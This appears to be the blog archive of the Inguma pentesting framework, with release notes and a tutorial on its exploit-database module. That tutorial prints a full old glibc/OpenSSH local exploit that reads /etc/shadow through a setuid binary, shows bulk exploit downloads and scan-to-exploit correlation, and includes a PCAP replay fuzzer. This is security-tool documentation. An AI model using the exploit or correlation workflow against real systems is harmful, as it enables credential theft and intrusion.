Monday, 13 June 2011

Welcome to Inguma version 0.3

The Inguma team is very proud to release version 0.3 of their pentesting and vulnerability research framework. The new release increases stability (mainly the GUI) thanks to lots of bugs fixed, offers a smoother experience and, of course, includes some awesome features:
  • Together with the new release we would like to introduce our project's new pet, Ingumito. He will keep all our users informed of the project news through his twitter account: @ingumito
  • A new module has been added to map the IP addresses using the GeoIP library from MaxMind:
  • By Ctrl + right clicking over a target a new menu entry will allow to remove the target and all its nodes from the map and the KB:
  • Additional information regarding a vulnerability can be obtained by right clicking over a vulnerability node:
  • The Add Target dialog must be improved to allow multiple IP addresses and other inputs but, meanwhile, the import dialog now supports a comma-separated CSV file to be used as multiple IP input.
  • The exploits download and load process has been simplified; download the exploits at the Preferences dialog and use the Search button to load the exploits. Once loaded, this button will search through the exploits DB.
  • The most important change of this new release is the complete rewrite of the RCE interface and core. OpenDis has been removed, and so the objdump dependency, and a new interface has been added that uses Pyew as backend:

This new interface offers most of the Pyew features in a easy-to-use GUI.  Analyzing almost any kind of file or web site is now easier with this new release!  This GUI for RCE is a new subproject of Inguma called Bokken and will be released soon in our website as an independent tool.  Stay tuned!

The RCE interface will analyze PE, ELF, PDF and web sites, and will open any other file in the hex editor. An image is worth a thousand words, so here you have two thousand of them:



Some minor features added are:
  • An icon has been added to graph nodes to show the OS of the target when available.
  • New autosave feature that will save the KB after every module execution to prevent data loss in case of GUI crash. This autosaved KB will be loaded at startup if the user wants.
  • Single host report option added to the node menu.
  • Improved performance of ping and scan modules.
  • More modules have been ported to the GUI, like "identify"; wich has also been added to the list of modules launched on adding a target.
  • We are now closer to full Windows compatibility as this screenshot demonstrate :-)

We hope you enjoy using this new release as much as we enjoyed making it!  Stay tuned of the project news with the Twitter account or the mailing lists. For more information, documentation, reporting bugs and, of course, download the release, visit the project's web site.

This release is dedicated to the hundreds of thousands of Spaniards that gathered on May 15th first in Madrid, then everywhere, to protest against political parties in the now-called #15M movement.

Monday, 9 May 2011

Inguma server reachable over IPv6.

I just added AAAA records to the zones for inguma.eu and inguma-framework.org! I don't think I broke anything, but just for you to know.

Wednesday, 27 April 2011

Mailing lists and more in place.

Since the last post we have been busy, not only fixing bugs in Inguma but also adding some pieces of infrastructure to the project to improve the available facilities to develop Inguma.
  • Two mailing lists are ready for use: inguma-announce and inguma-devel. Anyone familiar with OSS will infer their purpose.
  • Redmine has been upgraded to 1.1.2.
  • We are trying to import all the issues from the Google Code project into Redmine to avoid losing user reports. If you have any bug, report or suggestion, please create a Redmine account to add a new issue or contact our development list!
  • In the very near future we intend to publish updates also by Twitter to make people aware of our advancements. Keep tuned!

Also do not forget that we are available in #inguma on Freenode IRC network.

Monday, 21 February 2011

Inguma keeps moving...

First of all we would like to thank you the great welcome you have given to the new release; we will do our best to keep improving the project.

Since the 0.2 release many improvements have been done to Inguma and we will try to show you some of them on this post.
  • Today we release a new project site and leave Google Code. The dev team has discussed a lot and finally decided to use our previous development site as the main one. You can find it at:

or, for the lazy ones (including ourselves), the shorter:

  • Lots of bugs have been fixed since 0.2 release and now Inguma should be fairly more stable, mainly the GUI.
  • As the GUI released at 0.2 had (and still has) many bugs and crashes quite frequently, we added a new Autosave feature. It will save automatically the KB after every module run and try to recover it at every application start. Unless you manually save the KB or reject to load at start it will be available to recover your work.
  • We have added autofill on targetDialog so you don't have to manually fill the module target, it will be filled automatically with the IP address of the node.
  • Added tooltips to confusing parameters of the gather dialog with a little description of the available options.
  • Added picture support on graphs. Actually it shows OS icon when possible or a generic icon when OS is uknown.
  • Right click on web vuln (OSVDB) at Vulns per port graph opens vulnerability info on browser.
  • Added more dependency checks (graphviz, Impacket, PySNMP) to help identify and manage start up problems.
Checking:
GTK UI dependencies... OK
WARNING: No route found for IPv6 destination :: (no default route?)
Scapy... OK
Network connectivity... OK
GtkSourceView2... OK
VTE Terminal... OK
Impacket library... OK
PySNMP library... OK
Graphviz binaries... OK
  • Improved performance of TCP, UCP and ICMP ping modules and "portscan" module (SYN and ACK). So now add target dialog has improved a lot the speed by using "portscan" instead of "tcpscan" and is more complete by using "identify" on opened ports.
  • Half of the users told us that they wanted module output on new dialogs and the other half prefered to have it on the "Logs" tab at the bottom. So finally we changed module output behavior using SHOW_MODULE_WIN at config.py. If set to true it will popup module ouput on a new dialog but if set to False it will drop it to the Logs Tab.

For more information do not hesitate to contact the team using any of the options listed on this wiki page.

Sunday, 16 January 2011

We are back!

It's been a long time since our last post and most of the people thought that Inguma was dead, but we are back and we have some news for you. Let's see what has changed since our last post.

Today we launch a new site for the project hosted on Google Code. Almost all the documentation has been moved from the old site and many more has been added. There are still lots to be added but there is enough to get started using the software.

Of course many bugs have been fixed, some new modules added and even a few have been removed but the most exciting feature we have added to this release is a fancy new GUI.


The old Qt GUI has been removed and the new one is PyGtk based, of course the good command line one is still there. This new GUI can't be considered yet stable and not all the modules are actually working properly on it but it's stable enough to be released and to perform most of the basic functionalities.

If the command line one is like a toolbox with high scripting capabilities, the GUI is an attempt to integrate all those tools into a common workflow and add many data visualization aids. The main command line interface should work on the same platforms that before (Linux, Windows and MacOS) but the GUI isn't ready neither tested on other platform that Linux.

Instead of writing here all the new features or a deep description of the new GUI you can go directly to the Console or GUI quick start guides and read about them. The code can be downloaded packed in a tar.gz or from the mercurial repository if you prefer to have your code up to date with all the new features that we will keep adding.

That's all for the moment; thanks to all the people that has supported me during this time and I hope you enjoy using and, hopefully, improving this new release.

Thursday, 15 January 2009

Exploits for all!

It's been a while since my last post, as always ;), and today we are going to see a new module that almost every Inguma's user has been waiting.

Actually the Inguma's development team is just two persons and the project is still young and lacks many features but one of them is even more necessary: exploits. Inguma itself requires lots of development so we can't spent much more time developing exploits but with this module I will try to solve this problem a little.

The new module, called 'localxpl' (local exploits), will allow Inguma to download and manage exploits from two important exploits repositories: Milw0rm an Packetstorm. Let's see it in action in order to see what and how can do this new module. The new module can be found under the category 'exploits' and once you type 'localxpl' you will enter into it's interface:
inguma> show exploits

List of exploit modules
-----------------------

(...)
localxpl      A Module to fetch and manage exploits from many sources
(...)

inguma> localxpl
Exploits from Milw0rm not yet downloaded
Exploits from Packetstorm not yet downloaded

Actual remotedb selected: milw0rm
LOCXPL>

We can see that it informs us that we haven't downloaded any exploit yet and that, by default, the repository to work with is milw0rm. To see the options we have just to type 'help':
LOCXPL> help

Inguma's Local Exploit DDBB Help
--------------------------------

remotedb                     Database to work with: milw0rm or packetstorm
fetch                        Download exploits from remotedb
help                         Show this help
exit                         Exits the DDBB

As we have no local repository yet, the options shown are just a few: select the repository to get (milw0rm or packetstorm) and download the exploits from the selected repository. As we have no other choice with milw0rm selected, let's download the exploits with the command 'fetch' and see the new options:
LOCXPL> fetch
Dir:  /inguma/modules/exploits/
Downloading  http://www.milw0rm.com/sploits/milw0rm.tar.bz2
Extracting files...
Exploits successfully downloaded on Thu Jan 15 20:19:38 2009
Operation Complete

Now we know that exploits are going to be stored under directory exploits and that the download finished fine; the path to store the exploits can be modified easily on the source of the module. Type 'help' again to see the new options:
Inguma's Local Exploit DDBB Help
--------------------------------

remotedb                     Database to work with: milw0rm or packetstorm
fetch                        Download exploits from remotedb

Manage Milw0rm DDBB commands
----------------------------

list                         Shows list of local exploits. VERY VERBOSE
search                       Search exploits; use the 'tag' variable
Example: to search for windows exploits
'tag Windows'
rport                        Shows exploits afecting a remote port
Define the port using command 'port 22'
Port must be numeric: 22 intead of SSH
correlate                    Searches the DDBB for all exploits matching rport
for all the ports of a scaned machine. Specify
target machine with 'target 192.168.0.1'
Be sure to scan the machine before!
show                         Shows selected exploit source code
Select exploit using xplpath command:
'xplpath path/to/exploit'

help                         Show this help
exit                         Exits the DDBB

Now that we have some exploits downloaded we have some more operations to perform with them. For example we can list all the exploits downloaded from milw0rm just by typing 'list' but this will output lots of them so... Also we can now search all the exploits for a given keywords just by setting it with the commands 'tag' and 'search':
LOCXPL> tag openssh
New search tag:  openssh
LOCXPL> search
Searching milw0rm local DDBB for tag: openssh
./platforms/linux/local/258.sh glibc-2.2 and openssh-2.3.0p1 exploits glibc >= 2.1.9x

We got one match for an exploit related to 'OpenSSH' and now we can get more information just by displaying its contents; just set the path to th exploit using the command 'xplpath' and the path you got from the search results and type show:
LOCXPL> xplpath ./modules/exploits/milw0rm/platforms/linux/local/258.sh
./modules/exploits/milw0rm/platforms/linux/local/258.sh set to show.

LOCXPL> show
# Charles Stevenson 
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****krochos@linuxmail.org****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
echo "$ssh is NOT setuid on this system or does not exist at all!"
if [ ! -u $traceroute ]; then
echo "$traceroute is NOT setuid on this system or does not exist at all!"
exit 0
fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson "
echo "[*] krochos@linuxmail.org"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25]

Another option is to list all the exploits affecting a given remote port using the command 'rport' after specifying the remote port with the command 'port' as explained in the help; the command 'correlate' will be shown late on this post.

Now that we have seen what we can do with the Milw0rm repository let's see what can we do with Packetstorm; first we switch to packetstorm with the command 'remotedb' and type help:
LOCXPL> remotedb packetstorm
New remotedb selected:  packetstorm
LOCXPL> help

Inguma's Local Exploit DDBB Help
--------------------------------

remotedb                     Database to work with: milw0rm or packetstorm
fetch                        Download exploits from remotedb
years                        A space separated list of years to fetch
Example: 'years 06 07 08'
help                         Show this help
exit                         Exits the DDBB

As with milw0rm, until we get the exploits we have few choices. But now we have one difference, packetstorm classify it's exploits by year so we can specify the years we want to fetch with the command 'years'; by default exploits from the years 2007/08 will be downloaded.
LOCXPL> years 08
Years:  ['08']
LOCXPL> fetch
Dir:  /inguma/modules/exploits/packetstorm/
Start: 2008
Downloading: http://packetstormsecurity.org/0812-exploits/2008-exploits.tgz ...
Done. Extracting files...
Done: 2008
Exploits successfully downloaded on Thu Jan 15 20:28:44 2009

Almost the same as with milw0rm till now. From now on if we fetch exploits from milw0rm or packetstorm they will be updated, and if we specify 'years 07 08' and fetch again only the exploits of year 2007 will be downloaded. So let's see the new options we have now for the packetstorm repository:
Inguma's Local Exploit DDBB Help
--------------------------------

remotedb                     Database to work with: milw0rm or packetstorm
fetch                        Download exploits from remotedb
years                        A space separated list of years to fetch
Example: 'years 06 07 08'

Manage Packetstorm DDBB commands
--------------------------------

list                         Shows list of local exploits. VERY VERBOSE
Also navigate the exploits listing going with
your browser to, for example:
/inguma/modules/exploits/packetstorm/08-exploits/0801-exploits/index.html
search                       Search exploits; use the 'tag' variable
Example: to search for windows exploits
Example: 'tag Windows Vista'
Optionaly append a year to search only on exploits of this year
Example: 'year 08'
show                         Shows selected exploit source code
Select exploit using xplpath command:
'xplpath path/to/exploit'

help                         Show this help
exit                         Exits the DDBB

As we can see options are almost the same that we have with milw0rm but here we can't search by port; if look at the help of the command list we can see that we can browse the exploits of this repository by opening the file index.html that exists on each directory of the repository, just change year and month on the path.

And the last command we are going to see is the 'correlate' that we can find in the milw0rm help. With this command we can automatically search all the exploits that may affect all the ports that have been reported open by the port scans. So, the first thing we need to perform is a port scan:
inguma> target = '192.168.0.1'
inguma> tcpscan
Scanning port 17004 (417/417)
Open ports
----------

Port 1720 is open
Port 23/telnet is open

Once we get the open ports for this target we enter into the 'localxpl' interface to correlate the results with the existing exploits. As we already have downloaded the exploits we are now informed with the dates of the downloads so we can decide if we need to update.
inguma> localxpl
Last Milw0rm DDBB update: Thu Jan 15 20:19:38 2009
Last Packetstorm DDBB update: Thu Jan 15 20:28:44 2009

Actual remotedb selected: milw0rm

Now we just need to specify the target we have scanned and we want to correlate and launch the command 'correlate':
LOCXPL> target 192.168.0.1
Target set for correlation: 192.168.0.1

LOCXPL> correlate
Searching exploits available on milw0rm DDBB for port TCP/23

/inguma/modules/exploits/milw0rm/rport/23/346.c
/inguma/modules/exploits/milw0rm/rport/23/3293.sh
/inguma/modules/exploits/milw0rm/rport/23/254.c
/inguma/modules/exploits/milw0rm/rport/23/621.c
/inguma/modules/exploits/milw0rm/rport/23/89.c
/inguma/modules/exploits/milw0rm/rport/23/409.c

Searching exploits available on milw0rm DDBB for port TCP/1720

No exploits found for port TCP/1720

Ok, this is not enough to get accurate results but it's a starting point so, once I improve the scanning modules, to get and store also information about the services listening on each port that's all we have.

So that's all folks; I hope that I will improve this module soon and also get new interesting ones. To finish, a tip for my next module: PIG. ;)

Saturday, 27 December 2008

After a long while...

Hi!

After a long while Hugo & I decided to prepare the new Inguma version (Release 0.1.0) with some new features. There are new modules in the new version, as the ASNQuery module or the NMap fronted both created by Hugo, and new features & tools.

The 2 most interesting new tools added to the framework are, for sure, the PCAP-based fuzzer and the OpenDis Binary Navigator.

The PCAP based fuzzer works this way: Record with your favourite sniffer a session communicating with your target server application, save the recorded session as one PCAP file and create a new PCAP based fuzzer as the following:

-----------------------------------------------------------------------------------
import sys
from scapy import *
from fuzzpcap import *
from lib import libfuzz

def main(pcapFile, dest, destPort):

replayList = []

pktList = rdpcap(pcapFile)

for pkt in pktList:
tcpPkt = pkt[TCP]
flags = tcpPkt.sprintf("%flags%")
dst = pkt.sprintf("%IP.dst%")
dstPort = tcpPkt.sprintf("%TCP.dport%")

if flags == "PA" and dst == dest and dstPort == destPort:
# Get the packet's data
pktBuf = str(tcpPkt[Raw])
replayList.append(pktBuf)

replayer = CReplayFuzzer(dest, destPort, replayList)
replayer.verbose = False # Show every packet that will be sent?
replayer.timeout = 0.3   # Time to wait for a response?
replayer.waitResponse = True # Wait for a response?
replayer.startPacket = 0     # Start from packet number 0
replayer.dontWaitFor = xrange(0, 1024) # Don't wait for a response for these packets
replayer.fuzz() # Start fuzzing now!
-----------------------------------------------------------------------------------


That easy. For some (undocumented) protocols this is a fast way to start fuzzing a complete communication session without having any knowledge about the communication protocol.

Another interesting tool (as previously pointed) is the OpenDis Binary Navigator. It's a frontend for OpenDis databases (the format of the databases changed from cpickle objects to SQLite format databases). With this tool you might upload (this is a webserver, bind it to 127.0.0.1 if you don't want to open this to your network) programs to be analyzed by OpenDis and generate an SQLite based database. This database can be navigated using the OpenDis Binary Navigator.

The most curious features of OpenDis Binary Navigator right now are the ability to generate basic block diagrams (you need Graphviz) and the option to calculate the CC (Cyclomatic Complexity) of a procedure. You might see screenshots at the end of this post.

Well, that's all at the moment. I will try to upload the new version of Inguma to sourceforge before the end of the year. Happy XMas and happy new year!





Contributors